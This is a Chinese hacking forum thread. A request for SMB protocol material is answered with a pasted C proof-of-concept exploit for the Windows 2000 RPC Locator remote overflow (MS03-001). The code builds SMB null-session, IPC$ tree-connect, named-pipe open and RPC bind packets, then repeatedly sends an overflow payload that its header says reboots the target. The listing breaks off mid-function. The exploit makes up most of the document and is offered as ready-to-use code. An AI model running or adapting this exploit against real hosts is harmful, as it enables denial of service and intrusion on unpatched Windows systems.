|
作者: jnake [jnake] 论坛用户 | 登录 |
老和尚写IPC$,我想写一下SMB,可是,手头资料有限,请大家慷慨解囊, 贡献一下SMB的资料! |
地主 发表时间: 05/05 16:03 |
回复: ricky [ricky] 版主 | 登录 |
任重而道远啊,呵呵 |
B1层 发表时间: 05/07 08:54 |
回复: jnake [jnake] 论坛用户 | 登录 |
没人有啊! |
B2层 发表时间: 05/10 17:37 |
回复: softlib [softlib] 论坛用户 | 登录 |
去 XFOCUS 看看。那里不少人都写过这样东西。资料很详细。 |
B3层 发表时间: 05/16 17:29 |
回复: jnake [jnake] 论坛用户 | 登录 |
哦?softlib兄,我怎么找不到啊,有劳发一下连接! |
B4层 发表时间: 05/16 21:10 |
回复: fora [fora] 论坛用户 | 登录 |
闪空写了个“SMB的NTLM认证过程与NTLM挑战的编程实现”,还有一篇“SMB/CIFS BY THE ROOT”,应该有帮助吧。 没细看,先拿下来了。 顶楼的,你对SMB的资料收集的如何了,有设计的思路了吗? [此贴被 老挪(fora) 在 05月16日21时37分 编辑过] |
B5层 发表时间: 05/16 21:23 |
回复: softlib [softlib] 论坛用户 | 登录 |
以后仔细翻翻资料再提问吧。现成的代码。 Windows 2000 Remote Procedure Call Locator Exploit 验证代码 原创:ilsy(isly) 来源:http://www.whitecell.org Author : ilsy Email : ilsy@whitecell.org HomePage: http://www.whitecell.org Date :2003-02-13 2003年1月22日,Microsoft发布了一个安全公告http://www.microsoft.com/technet/security/bulletin/ms03-001.asp, 说明Remote Procedure Call (RPC) Locator服务存在远程溢出漏洞,2003年2月2日,http://www.immunitysec.com的 Dave Aitel发布了验证这一问题的Binary文件plonk,下面代码验证这一问题。 Tested under Windows 2000 sp2, sp3中文版,这个代码会引起目标计算机的重起。 //----File:NetBIOS.h----// #ifndef NETBIOS_H_ #define NETBIOS_H_ #define SMBMAGICVAL MAKELONG(MAKEWORD(0xFF, 'S'), MAKEWORD('M', 'B') ) #define NBT_ADDLEN 0x00 typedef unsigned long UTIME; // Negotiate Protocol structures typedef struct { USHORT BufferFormat; char * DialectName; }Dialects; // RPC structures typedef struct _RPCHeader { UCHAR VersionMaj; UCHAR VerisonMin; UCHAR Type; UCHAR Flags; ULONG Rep; USHORT Fraglength; USHORT Authlen; ULONG Callid; }RPC_HEADER, *PRPC_HEADER; typedef struct _RPC_Bind { USHORT Maxtsize; USHORT Maxrsize; ULONG Assocgid; ULONG Numelements; USHORT Contextid; UCHAR Numsyntaxes; UCHAR Reserved; UUID Abstract; ULONG AbstractVer; UUID Transfer; ULONG TransferVer; }RPC_BIND, *PRPC_BIND; typedef struct _RPC_Request { ULONG Hint; USHORT Contextid; USHORT Opera; }RPC_REQUEST, *PRPC_REQUEST; // Session Setup X structures typedef struct { UCHAR WordCount; // Count of parameter words = 10 UCHAR AndXCommand; // Secondary (X) command; 0xFF = none UCHAR AndXReserved; // Reserved (must be 0) USHORT AndXOffset; // Offset to next command WordCount USHORT MaxBufferSize; // Client maximum buffer size USHORT MaxMpxCount; // Actual maximum multiplexed pending requests USHORT VcNumber; // 0 = first (only), nonzero=additional VC number ULONG SessionKey; // Session key (valid iff VcNumber != 0) USHORT CaseInsensitivePasswordLength; USHORT CaseSensitivePasswordLength; ULONG Reserved; // Must be 0 ULONG Capabilities; // Client capabilities USHORT ByteCount; // Count of data bytes; min = 0 }SMB_SESSIONSETUPX, *PSMB_SESSIONSETUPX; // Open structures typedef struct { UCHAR WordCount; // Count of parameter words = 24 UCHAR AndXCommand; // Secondary command; 0xFF = None UCHAR AndXReserved; // Reserved (must be 0) USHORT AndXOffset; // Offset to next command WordCount UCHAR Reserved; // Reserved (must be 0) USHORT NameLength; // Length of Name[] in bytes ULONG Flags; // Create bit set: // 0x02 - Request an oplock // 0x04 - Request a batch oplock // 0x08 - Target of open must be directory ULONG RootDirectoryFid; // If non-zero, open is relative to this directory ACCESS_MASK DesiredAccess; // access desired LARGE_INTEGER AllocationSize; // Initial allocation size ULONG ExtFileAttributes; // File attributes ULONG ShareAccess; // Type of share access ULONG CreateDisposition; // Action to take if file exists or not ULONG CreateOptions; // Options to use if creating a file ULONG ImpersonationLevel; // Security QOS information UCHAR SecurityFlags; // Security tracking mode flags: // 0x1 - SECURITY_CONTEXT_TRACKING // 0x2 - SECURITY_EFFECTIVE_ONLY USHORT ByteCount; // Length of byte parameters }SMB_OPENX, *PSMB_OPENX; // Transaction structures typedef struct { UCHAR WordCount; // Count of parameter words; value = (14 + SetupCount) USHORT TotalParameterCount; // Total parameter bytes being sent USHORT TotalDataCount; // Total data bytes being sent USHORT MaxParameterCount; // Max parameter bytes to return USHORT MaxDataCount; // Max data bytes to return UCHAR MaxSetupCount; // Max setup words to return UCHAR Reserved; USHORT Flags; // Additional information: // bit 0 - also disconnect TID in TID // bit 1 - one-way transaction (no response) ULONG Timeout; USHORT Reserved2; USHORT ParameterCount; // Parameter bytes sent this buffer USHORT ParameterOffset; // Offset (from header start) to Parameters USHORT DataCount; // Data bytes sent this buffer USHORT DataOffset; // Offset (from header start) to data UCHAR SetupCount; // Count of setup words UCHAR Reserved3; // Reserved (pad above to word) }SMB_TRANSACTION, *PSMB_TRANSACTION; // Transaction data structures typedef struct { USHORT PipeFunc; USHORT FileID; USHORT ByteCount; }SMB_TRANDATA, *PSMB_TRANDATA; // Tree connect structures typedef struct { UCHAR WordCount; // Count of parameter words = 4 UCHAR AndXCommand; // Secondary (X) command; 0xFF = none UCHAR AndXReserved; // Reserved (must be 0) USHORT AndXOffset; // Offset to next command WordCount USHORT Flags; // Additional information // bit 0 set = disconnect Tid USHORT PasswordLength; // Length of Password[] USHORT ByteCount; // Count of data bytes; min = 3 }SMB_TREECONNECT, *PSMB_TREECONNECT; typedef struct { UCHAR WordCount; // Count of parameter words = 17 USHORT DialectIndex; // Index of selected dialect UCHAR SecurityMode; // Security mode: // bit 0: 0 = share, 1 = user // bit 1: 1 = encrypt passwords USHORT MaxMpxCount; // Max pending multiplexed requests USHORT MaxNumberVcs; // Max VCs between client and server ULONG MaxBufferSize; // Max transmit buffer size ULONG MaxRawSize; // Maximum raw buffer size ULONG SessionKey; // Unique token identifying this session ULONG Capabilities; // Server capabilities ULONG SystemTimeLow; // System (UTC) time of the server (low). ULONG SystemTimeHigh; // System (UTC) time of the server (high). USHORT ServerTimeZone; // Time zone of server (min from UTC) UCHAR EncryptionKeyLength; // Length of encryption key. USHORT ByteCount; // Count of data bytes }SMB_NEGOTIATEREPLY, *PSMB_NEGOTIATEREPLY; // NBT_NAME_HEADER structures typedef struct { USHORT ID; USHORT Flags; USHORT Questions; USHORT Answer; USHORT Authority; USHORT Additional; }NBT_NAME_HEADER; // NBT_NAME_ANSWER structures typedef struct { char Name_[34]; USHORT Type; USHORT Class; ULONG TTL; USHORT DataLen; UCHAR Number; char Name[16]; }NBT_NAME_ANSWER; // NBT_HEADER structures typedef struct { struct { u_char packetType; u_char packetFlags; u_short packetLen; } s; } NBT_HEADER, *PNBT_HEADER; // SMB_HEADER structures typedef struct { NBT_HEADER NBTHeader; ULONG Protocol; // Contains 0xFF,'SMB' UCHAR Command; // Command code ULONG Status; // 32-bit error code UCHAR Flags; // Flags USHORT Flags2; // More flags UCHAR Pad[12]; // Ensure this section is 12 bytes long USHORT Tid; // Tree identifier USHORT Pid; // Caller's process id USHORT Uid; // Unauthenticated user id USHORT Mid; // multiplex id } SMB_HEADER, *PSMB_HEADER; // UCHAR WordCount; // Count of parameter words // USHORT * ParameterWords; // The parameter words // USHORT ByteCount; // Count of bytes // UCHAR * Buffer; // The bytes // Netbios session request structures typedef struct { NBT_HEADER NBTHeader; char Black1; char szNetBiosName[32]; char Black2[2]; char szNullName[32]; char Black3; } NSR_HEADER; #define TYPE_SESSION_MESSAGE 0x00 #define TYPE_SESSION_REQUEST 0x81 #define TYPE_POSITIVE_SESSION_RESPONSE 0x82 #define TYPE_NEGATIVE_SESSION_RESPONSE 0x83 #define TYPE_RETARGET_SESSION_RESPONSE 0x84 #define TYPE_SESSION_KEEP_ALIVE 0x85 #define SMB_COM_CREATE_DIRECTORY 0x00 #define SMB_COM_DELETE_DIRECTORY 0x01 #define SMB_COM_OPEN 0x02 #define SMB_COM_CREATE 0x03 #define SMB_COM_CLOSE 0x04 #define SMB_COM_FLUSH 0x05 #define SMB_COM_DELETE 0x06 #define SMB_COM_RENAME 0x07 #define SMB_COM_QUERY_INFORMATION 0x08 #define SMB_COM_SET_INFORMATION 0x09 #define SMB_COM_READ 0x0A #define SMB_COM_WRITE 0x0B #define SMB_COM_LOCK_BYTE_RANGE 0x0C #define SMB_COM_UNLOCK_BYTE_RANGE 0x0D #define SMB_COM_CREATE_TEMPORARY 0x0E #define SMB_COM_CREATE_NEW 0x0F #define SMB_COM_CHECK_DIRECTORY 0x10 #define SMB_COM_PROCESS_EXIT 0x11 #define SMB_COM_SEEK 0x12 #define SMB_COM_LOCK_AND_READ 0x13 #define SMB_COM_WRITE_AND_UNLOCK 0x14 #define SMB_COM_READ_RAW 0x1A #define SMB_COM_READ_MPX 0x1B #define SMB_COM_READ_MPX_SECONDARY 0x1C #define SMB_COM_WRITE_RAW 0x1D #define SMB_COM_WRITE_MPX 0x1E #define SMB_COM_WRITE_COMPLETE 0x20 #define SMB_COM_SET_INFORMATION2 0x22 #define SMB_COM_QUERY_INFORMATION2 0x23 #define SMB_COM_LOCKING_ANDX 0x24 #define SMB_COM_TRANSACTION 0x25 #define SMB_COM_TRANSACTION_SECONDARY 0x26 #define SMB_COM_IOCTL 0x27 #define SMB_COM_IOCTL_SECONDARY 0x28 #define SMB_COM_COPY 0x29 #define SMB_COM_MOVE 0x2A #define SMB_COM_ECHO 0x2B #define SMB_COM_WRITE_AND_CLOSE 0x2C #define SMB_COM_OPEN_ANDX 0x2D #define SMB_COM_READ_ANDX 0x2E #define SMB_COM_WRITE_ANDX 0x2F #define SMB_COM_CLOSE_AND_TREE_DISC 0x31 #define SMB_COM_TRANSACTION2 0x32 #define SMB_COM_TRANSACTION2_SECONDARY 0x33 #define SMB_COM_FIND_CLOSE2 0x34 #define SMB_COM_FIND_NOTIFY_CLOSE 0x35 #define SMB_COM_TREE_CONNECT 0x70 #define SMB_COM_TREE_DISCONNECT 0x71 #define SMB_COM_NEGOTIATE 0x72 #define SMB_COM_SESSION_SETUP_ANDX 0x73 #define SMB_COM_LOGOFF_ANDX 0x74 #define SMB_COM_TREE_CONNECT_ANDX 0x75 #define SMB_COM_QUERY_INFORMATION_DISK 0x80 #define SMB_COM_SEARCH 0x81 #define SMB_COM_FIND 0x82 #define SMB_COM_FIND_UNIQUE 0x83 #define SMB_COM_NT_TRANSACT 0xA0 #define SMB_COM_NT_TRANSACT_SECONDARY 0xA1 #define SMB_COM_NT_CREATE_ANDX 0xA2 #define SMB_COM_NT_CANCEL 0xA4 #define SMB_COM_OPEN_PRINT_FILE 0xC0 #define SMB_COM_WRITE_PRINT_FILE 0xC1 #define SMB_COM_CLOSE_PRINT_FILE 0xC2 #define SMB_COM_GET_PRINT_QUEUE 0xC3 #define SMB_COM_READ_BULK 0xD8 #define SMB_COM_WRITE_BULK 0xD9 #define SMB_COM_WRITE_BULK_DATA 0xDA #define SMB_NONE 0xFF #define LANMANDIALECT_PCNETWORKPROGRAM10 "PC NETWORK PROGRAM 1.0" #define LANMANDIALECT_MICROSOFTNETWORKS103 "MICROSOFT NETWORKS 1.03" #define LANMANDIALECT_MICROSOFTNETWORKS30 "MICROSOFT NETWORKS 3.0" #define LANMANDIALECT_LANMAN10 "LANMAN1.0" #define LANMANDIALECT_LM12X002 "LM1.2X002" #define SAMBA "Samba" #define LANMANDIALECT_NTLM012 "NT LM 0.12" #define NTLANMAN_10 "NT LANMAN 1.0" #endif //----File:Rpce.cpp----// #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <rpcdce.h> #include "netbios.h" #define xmalloc(s) (char *)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s)) // 分配内存 #define xfree(p) (char *)HeapFree (GetProcessHeap(),0,(p)) // 释放内存 #define PORT 445 // NetBIOS端口 #pragma comment (lib,"ws2_32") #pragma comment (lib,"rpcrt4") int Make_NullSession(SOCKET csock); int Make_Connection(char *address,int port,int timeout); int Make_Negotiate(SOCKET csock); int Make_SessionSetupX(SOCKET csock); int Make_TreeConnect(SOCKET csock); int Make_OpenX(SOCKET csock); int Make_RpcBind(SOCKET csock); int Make_Shellcode(SOCKET csock); Dialects Dialectsm[] = { {2, "PC NETWORK PROGRAM 1.0"}, {2, "MICROSOFT NETWORKS 1.03"}, {2, "MICROSOFT NETWORKS 3.0"}, {2, "LANMAN1.0"}, {2, "LM1.2X002"}, {2, "Samba"}, {2, "NT LM 0.12"}, {2, "NT LANMAN 1.0"}, {0, NULL} }; USHORT User_ID; USHORT Tree_ID; USHORT Proc_ID; USHORT Mult_ID; USHORT File_ID; unsigned char szShellcode[800] = "\0"; unsigned char szShellhead[] = "\x16\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x00"; unsigned int iNumber; int main(int argc, char * argv[]) { SOCKET csock; WSADATA WSAData; int iRet; if(argc<2) { printf("Usage: %s IP\n", argv[0]); return 1; } if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) { printf("WSAStartup failed.\n"); WSACleanup(); exit(1); } csock = Make_Connection(argv[1],PORT,10); if(csock<=0) { printf("connect error:[%d].\r\n",csock); return -3; } iRet = Make_NullSession(csock); if(iRet != 0) { printf("\n%s : Make NullSession failed.\n", argv[1]); WSACleanup(); exit(1); } iRet = Make_OpenX(csock); if(iRet != 0) { printf("\n%s : Open locator failed.\n", argv[1]); WSACleanup(); exit(1); } iRet = Make_RpcBind(csock); if(iRet != 0) { printf("\n%s : RPC bind failed.\n", argv[1]); WSACleanup(); exit(1); } for(iNumber = 0; iNumber < 20; iNumber++) Make_Shellcode(csock); closesocket(csock); WSACleanup(); return 0; } // 建立IPC空连接 // 输入: // SOCKET csock // 输出: // 返回: // 成功 =0 // 错误 !=0 int Make_NullSession(SOCKET csock) { int iRet; iRet = Make_Negotiate(csock); if(iRet != 0) { printf("Negotiate Protocol failed.\n"); closesocket(csock); WSACleanup(); return 1; } iRet = Make_SessionSetupX(csock); if(iRet != 0) { printf("Session setup failed.\n"); closesocket(csock); WSACleanup(); return 1; } iRet = Make_TreeConnect(csock); if(iRet != 0) { printf("Tree connect failed.\n"); closesocket(csock); WSACleanup(); return 1; } return 0; } // 建立TCP连接 // 输入: // char * address IP地址 // int port 端口 // int timeout 延时 // 输出: // 返回: // 成功 >0 // 错误 <=0 int Make_Connection(char *address,int port,int timeout) { struct sockaddr_in target; SOCKET s; int i; DWORD bf; fd_set wd; struct timeval tv; s = socket(AF_INET,SOCK_STREAM,0); if(s<0) return -1; target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(address); if(target.sin_addr.s_addr==0) { closesocket(s); return -2; } target.sin_port = htons(port); bf = 1; ioctlsocket(s,FIONBIO,&bf); tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO(&wd); FD_SET(s,&wd); connect(s,(struct sockaddr *)&target,sizeof(target)); if((i=select(s+1,0,&wd,0,&tv))==(-1)) { closesocket(s); return -3; } if(i==0) { closesocket(s); return -4; } i = sizeof(int); getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i); if((bf!=0)||(i!=sizeof(int))) { closesocket(s); return -5; } ioctlsocket(s,FIONBIO,&bf); return s; } // SMB服务协商 // 输入: // SOCKET csock // 输出: // 返回: // 成功 =0 // 错误 !=0 int Make_Negotiate(SOCKET csock) { PSMB_HEADER SmbHeader; USHORT dwSize; USHORT dwSize1; USHORT dwSize2; PCHAR szBytes; PCHAR szBytes1; PCHAR szBytes2; int i; dwSize = sizeof(LANMANDIALECT_PCNETWORKPROGRAM10); dwSize += sizeof(LANMANDIALECT_MICROSOFTNETWORKS103); dwSize += sizeof(LANMANDIALECT_MICROSOFTNETWORKS30); dwSize += sizeof(LANMANDIALECT_LANMAN10); dwSize += sizeof(LANMANDIALECT_LM12X002); dwSize += sizeof(SAMBA); dwSize += sizeof(LANMANDIALECT_NTLM012); dwSize += sizeof(NTLANMAN_10); dwSize += 8; dwSize1 = sizeof(SMB_HEADER); dwSize2 = dwSize + dwSize1+3; SmbHeader = (SMB_HEADER *)xmalloc(dwSize1); if(!SmbHeader)return 1; SmbHeader->NBTHeader.s.packetType = 0; SmbHeader->NBTHeader.s.packetFlags = 0; SmbHeader->NBTHeader.s.packetLen = htons(dwSize2-4); SmbHeader->Protocol = SMBMAGICVAL; SmbHeader->Command = SMB_COM_NEGOTIATE; SmbHeader->Status = 0; SmbHeader->Flags = 0x08; SmbHeader->Flags2 = 0x01; SmbHeader->Pid = (USHORT)rand() & 0xFFFF; SmbHeader->Mid = (USHORT)rand() & 0xFFFF; szBytes = xmalloc(dwSize); szBytes1 = xmalloc(dwSize2); if(!szBytes || !szBytes1) { xfree(SmbHeader); return 1; } szBytes2 = szBytes; for(i=0; Dialectsm[i].DialectName != NULL; i++) { * szBytes = Dialectsm[i].BufferFormat; strcpy(szBytes +1, Dialectsm[i].DialectName); szBytes += strlen(Dialectsm[i].DialectName) + 2; } szBytes = szBytes2; memcpy(szBytes1, SmbHeader, dwSize1); szBytes1[dwSize1 + 1] = (char)0x81; memcpy(szBytes1 + dwSize1 + 3, szBytes, dwSize); i = send(csock, (char *)szBytes1, dwSize2, 0); if(i <= 0) { xfree(szBytes); xfree(szBytes1); xfree(SmbHeader); return 1; } memset(SmbHeader, 0, dwSize1); xfree(szBytes); szBytes = xmalloc(1024); if(!szBytes) { xfree(szBytes1); xfree(SmbHeader); return 1; } i = recv(csock, szBytes, 1024, 0); if(i <= 0) { xfree(szBytes); xfree(szBytes1); xfree(SmbHeader); return 1; } szBytes2 = (char *)SmbHeader; SmbHeader = (SMB_HEADER *)szBytes; if(SmbHeader->Status != 0) { SmbHeader = (SMB_HEADER *)szBytes2; xfree(SmbHeader); xfree(szBytes); xfree(szBytes1); return 1; } SmbHeader = (SMB_HEADER *)szBytes2; if(*(szBytes + sizeof(SMB_HEADER)) != 0x11) { xfree(szBytes); xfree(szBytes1); xfree(SmbHeader); return 1; } xfree(SmbHeader); xfree(szBytes1); xfree(szBytes); return 0; } // SMB会话建立 // 输入: // SOCKET csock // 输出: // 返回: // 成功 =0 // 错误 !=0 int Make_SessionSetupX(SOCKET csock) { PSMB_HEADER SmbHeader; PSMB_SESSIONSETUPX SmbSessionSetupX; PCHAR szBytes, szBytes1; PCHAR tmp; USHORT dwSize, dwSize1, dwSize2; UCHAR szDomain[] = "WORKGROUP"; UCHAR szLanman[] = "Unix\0Samba"; int i; dwSize1 = sizeof(SMB_HEADER); dwSize2 = sizeof(SMB_SESSIONSETUPX); dwSize = dwSize1 + dwSize2 + sizeof(szDomain) + sizeof(szLanman) + 2; SmbHeader = (SMB_HEADER *)xmalloc(dwSize1); SmbSessionSetupX = (SMB_SESSIONSETUPX *)xmalloc(dwSize2); szBytes = xmalloc(dwSize); if(!SmbHeader || !SmbSessionSetupX || !szBytes) return 1; SmbHeader->NBTHeader.s.packetFlags = 0; SmbHeader->NBTHeader.s.packetType = 0; SmbHeader->NBTHeader.s.packetLen = htons(dwSize - 4); SmbHeader->Protocol = SMBMAGICVAL; SmbHeader->Command = SMB_COM_SESSION_SETUP_ANDX; SmbHeader->Status = 0; SmbHeader->Flags = 0x08; SmbHeader->Flags2 = 0x01; SmbHeader->Pid = (USHORT)rand() & 0xFFFF; SmbHeader->Mid = (USHORT)rand() & 0xFFFF; SmbSessionSetupX->WordCount = 13; SmbSessionSetupX->AndXCommand = 0xFF; SmbSessionSetupX->AndXReserved = 0; SmbSessionSetupX->AndXOffset = 0; SmbSessionSetupX->MaxBufferSize = 65535; SmbSessionSetupX->MaxMpxCount = 2; SmbSessionSetupX->VcNumber = 1025; SmbSessionSetupX->SessionKey = 0; SmbSessionSetupX->CaseInsensitivePasswordLength = 1; SmbSessionSetupX->CaseSensitivePasswordLength = 0; SmbSessionSetupX->Reserved = 0; SmbSessionSetupX->Capabilities = 0; SmbSessionSetupX->ByteCount = sizeof(szDomain) + sizeof(szLanman) + 2; memcpy(szBytes, SmbHeader, dwSize1); memcpy(szBytes + dwSize1, SmbSessionSetupX, dwSize2); memcpy(szBytes + dwSize1 +2, "\0\0", 2); memcpy(szBytes + dwSize1 + dwSize2 + 2, szDomain, sizeof(szDomain)); memcpy(szBytes + dwSize1 + dwSize2 + sizeof(szDomain) + 2, szLanman, sizeof(szLanman)); i = send(csock, (char *)szBytes, dwSize, 0); if(i<0) { xfree(szBytes); xfree(SmbHeader); xfree(SmbSessionSetupX); return 1; } memset(SmbHeader, 0, dwSize1); szBytes1 = xmalloc(1024); if(!szBytes1) { xfree(SmbHeader); xfree(SmbSessionSetupX); xfree(szBytes); return 1; } i = recv(csock, szBytes1, 1024, 0); if(i <= 0) { xfree(SmbHeader); xfree(SmbSessionSetupX); xfree(szBytes); xfree(szBytes1); return 1; } tmp = (char *)SmbHeader; SmbHeader = (SMB_HEADER *)szBytes1; if(SmbHeader->Status != 0) { SmbHeader = (SMB_HEADER *)tmp; xfree(SmbHeader); xfree(SmbSessionSetupX); xfree(szBytes); xfree(szBytes1); return 1; } User_ID = SmbHeader->Uid; SmbHeader = (SMB_HEADER *)tmp; xfree(SmbHeader); xfree(SmbSessionSetupX); xfree(szBytes); xfree(szBytes1); return 0; } // SMB连接建立 // 输入: // SOCKET csock // 输出: // 返回: // 成功 =0 // 错误 !=0 int Make_TreeConnect(SOCKET csock) { PSMB_HEADER SmbHeader; PSMB_TREECONNECT SmbTreeconnect; PCHAR szBytes, szBytes1; PCHAR tmp; USHORT dwSize, dwSize1, dwSize2; char szFileName[] = "\0IPC$\0IPC"; int i; dwSize1 = sizeof(SMB_HEADER); dwSize2 = sizeof(SMB_TREECONNECT); dwSize = dwSize1 + dwSize2 + sizeof(szFileName); SmbHeader = (SMB_HEADER *)xmalloc(dwSize1); SmbTreeconnect = (SMB_TREECONNECT *)xmalloc(dwSize2); szBytes = xmalloc(dwSize); if(!SmbHeader || !SmbTreeconnect || !szBytes) return 1; SmbHeader->NBTHeader.s.packetFlags = 0; SmbHeader->NBTHeader.s.packetType = 0; SmbHeader->NBTHeader.s.packetLen = htons(dwSize - 4); SmbHeader->Protocol = SMBMAGICVAL; SmbHeader->Command = SMB_COM_TREE_CONNECT_ANDX; SmbHeader->Status = 0; SmbHeader->Flags = 0x18; SmbHeader->Flags2 = 0x2001; SmbHeader->Pid = (USHORT)rand() & 0xFFFF; SmbHeader->Uid = User_ID; SmbTreeconnect->WordCount = 4; SmbTreeconnect->AndXCommand = 0xFF; SmbTreeconnect->AndXReserved = 0; SmbTreeconnect->AndXOffset = 0; SmbTreeconnect->Flags = 0; SmbTreeconnect->PasswordLength = 1; SmbTreeconnect->ByteCount = sizeof(szFileName); memcpy(szBytes, SmbHeader, dwSize1); memcpy(szBytes + dwSize1, SmbTreeconnect, dwSize2); memcpy(szBytes + dwSize1 + dwSize2, szFileName, dwSize - dwSize1 - dwSize2); i = send(csock, (char *)szBytes, dwSize, 0); if(i<0) { xfree(szBytes); xfree(SmbHeader); xfree(SmbTreeconnect); return 1; } memset(SmbHeader, 0, dwSize1); szBytes1 = new char[512]; if(!szBytes1) { xfree(szBytes); xfree(SmbHeader); xfree(SmbTreeconnect); return 1; } i = recv(csock, szBytes1, 512, 0); if(i <= 0) { xfree(SmbHeader); xfree(SmbTreeconnect); xfree(szBytes); delete [] szBytes1; return 1; } tmp = (char *)SmbHeader; SmbHeader = (SMB_HEADER *)szBytes1; if(SmbHeader->Status != 0) { SmbHeader = (SMB_HEADER *)tmp; xfree(SmbHeader); xfree(SmbTreeconnect); xfree(szBytes); delete [] szBytes1; return 1; } User_ID = SmbHeader->Uid; Tree_ID = SmbHeader->Tid; Proc_ID = SmbHeader->Pid; Mult_ID = SmbHeader->Mid; SmbHeader = (SMB_HEADER *)tmp; xfree(SmbHeader); xfree(SmbTreeconnect); xfree(szBytes); delete [] szBytes1; return 0; } // 打开有名管道 // 输入: // SOCKET csock // 输出: // 返回: // 成功 =0 // 错误 !=0 int Make_OpenX(SOCKET csock) { PSMB_HEADER SmbHeader; PSMB_OPENX SmbOpenX; PCHAR szBytes, szBytes1; PCHAR tmp; USHORT dwSize, dwSize1, dwSize2; char szFileName[] = "\0\\\0l\0s\0a\0r\0p\0c\0\0\0"; int i; dwSize1 = sizeof(SMB_HEADER); dwSize2 = sizeof(SMB_OPENX); dwSize = dwSize1 + dwSize2 + sizeof(szFileName); SmbHeader = (SMB_HEADER *)xmalloc(dwSize1); SmbOpenX = (SMB_OPENX *)xmalloc(dwSize2); szBytes = xmalloc(dwSize); if(!SmbHeader || !SmbOpenX || !szBytes) return 1; SmbHeader->NBTHeader.s.packetFlags = 0; SmbHeader->NBTHeader.s.packetType = 0; SmbHeader->NBTHeader.s.packetLen = htons(dwSize - 4); SmbHeader->Protocol = SMBMAGICVAL; SmbHeader->Command = SMB_COM_NT_CREATE_ANDX; SmbHeader->Status = 0; SmbHeader->Pid = Proc_ID; SmbHeader->Uid = User_ID; SmbHeader->Tid = Tree_ID; SmbHeader->Mid = Mult_ID; SmbHeader->Flags = 8; SmbHeader->Flags2 = 49153; SmbOpenX->WordCount = 24; SmbOpenX->AndXCommand = 0xFF; SmbOpenX->AndXReserved = 0; SmbOpenX->AndXOffset = 0; SmbOpenX->NameLength = sizeof(szFileName) - 2; SmbOpenX->Flags = 0; SmbOpenX->DesiredAccess = 0x2019F; SmbOpenX->ShareAccess = 0x3; SmbOpenX->CreateDisposition = 0x1; SmbOpenX->ImpersonationLevel= 0x2; SmbOpenX->ByteCount = sizeof(szFileName); memcpy(szBytes, SmbHeader, dwSize1); memcpy(szBytes + dwSize1, SmbOpenX, dwSize2); memcpy(szBytes + dwSize1 + dwSize2, szFileName, sizeof(szFileName)); i = send(csock, (char *)szBytes, dwSize, 0); if(i<0) { xfree(szBytes); xfree(SmbHeader); xfree(SmbOpenX); return 1; } memset(SmbHeader, 0, dwSize1); szBytes1 = new char[512]; if(!szBytes1) { xfree(szBytes); xfree(SmbHeader); xfree(SmbOpenX); return 1; } i = recv(csock, szBytes1, 512, 0); if(i <= 0) { xfree(SmbHeader); xfree(SmbOpenX); xfree(szBytes); delete [] szBytes1; return 1; } tmp = (char *)SmbOpenX; SmbOpenX = (SMB_OPENX *)(szBytes1 + sizeof(SMB_HEADER)); File_ID = SmbOpenX->NameLength; SmbOpenX = (SMB_OPENX *)tmp; tmp = (char *)SmbHeader; SmbHeader = (SMB_HEADER *)szBytes1; if(SmbHeader->Status != 0) { SmbHeader = (SMB_HEADER *)tmp; xfree(SmbHeader); xfree(SmbOpenX); xfree(szBytes); delete [] szBytes1; return 1; } SmbHeader = (SMB_HEADER *)tmp; xfree(SmbHeader); xfree(SmbOpenX); xfree(szBytes); delete [] szBytes1; return 0; } // PRC绑定 // 输入: // SOCKET csock // 输出: // 返回: // 成功 =0 // 错误 !=0 int Make_RpcBind(SOCKET csock) { PSMB_HEADER SmbHeader; PSMB_TRANSACTION SmbTransaction; PRPC_HEADER RpcHeader; PRPC_BIND RpcBind; PSMB_TRANDATA SmbTrandata; PCHAR szBytes, szBytes1; PCHAR tmp; USHORT dwSize, dwSize1, dwSize2, dwSize3, dwSize4, dwSize5; char szFileName[] = "\0\\\0P\0I\0P\0E\0\\\0\0\0"; int i; dwSize1 = sizeof(SMB_HEADER); dwSize2 = sizeof(SMB_TRANSACTION); dwSize3 = sizeof(RPC_HEADER); dwSize4 = sizeof(RPC_BIND); dwSize5 = sizeof(SMB_TRANDATA); dwSize = dwSize1 + dwSize2 + sizeof(szFileName) + dwSize3 + dwSize4 + dwSize5; SmbHeader = (SMB_HEADER *)xmalloc(dwSize1); SmbTransaction = (SMB_TRANSACTION *)xmalloc(dwSize2); RpcHeader = (RPC_HEADER *)xmalloc(dwSize3); RpcBind = (RPC_BIND *)xmalloc(dwSize4); SmbTrandata = (SMB_TRANDATA *)xmalloc(dwSize5); szBytes = xmalloc(dwSize); if(!SmbHeader || !SmbTransaction || !SmbTrandata || !szBytes || !RpcHeader || !RpcBind) return 1; SmbHeader->NBTHeader.s.packetFlags = 0; SmbHeader->NBTHeader.s.packetType = 0; SmbHeader->NBTHeader.s.packetLen = htons(dwSize - 4); SmbHeader->Protocol = SMBMAGICVAL; SmbHeader->Command = SMB_COM_TRANSACTION; SmbHeader->Status = 0; SmbHeader->Pid = Proc_ID; SmbHeader->Uid = User_ID; SmbHeader->Tid = Tree_ID; SmbHeader->Mid = Mult_ID; SmbHeader->Flags = 8; SmbHeader->Flags2 = 49153; SmbTransaction->WordCount = 16; SmbTransaction->TotalDataCount = dwSize3 + dwSize4; SmbTransaction->MaxDataCount = dwSize3 + dwSize4; SmbTransaction->ParameterOffset = dwSize1 + dwSize2 + dwSize5 + sizeof(szFileName) - 4; SmbTransaction->DataCount = dwSize3 + dwSize4; SmbTransaction->DataOffset = dwSize1 + dwSize2 + dwSize5 + sizeof(szFileName) - 4; SmbTransaction->SetupCount = 0x2; SmbTrandata->PipeFunc = 0x26; SmbTrandata->FileID = File_ID; SmbTrandata->ByteCount = dwSize3 + dwSize4 + sizeof(szFileName); RpcHeader->VersionMaj = 0x5; RpcHeader->VerisonMin = 0; RpcHeader->Type = 0x0B; RpcHeader->Flags = 0x3; RpcHeader->Rep = 0x10; RpcHeader->Fraglength = dwSize3 + dwSize4; RpcHeader->Authlen = 0x0; RpcHeader->Callid = 0x0; RpcBind->Maxtsize = 0x16D0; RpcBind->Maxrsize = 0x16D0; RpcBind->Assocgid = 0x0; RpcBind->Numelements = 0x1; RpcBind->Contextid = 0x0; 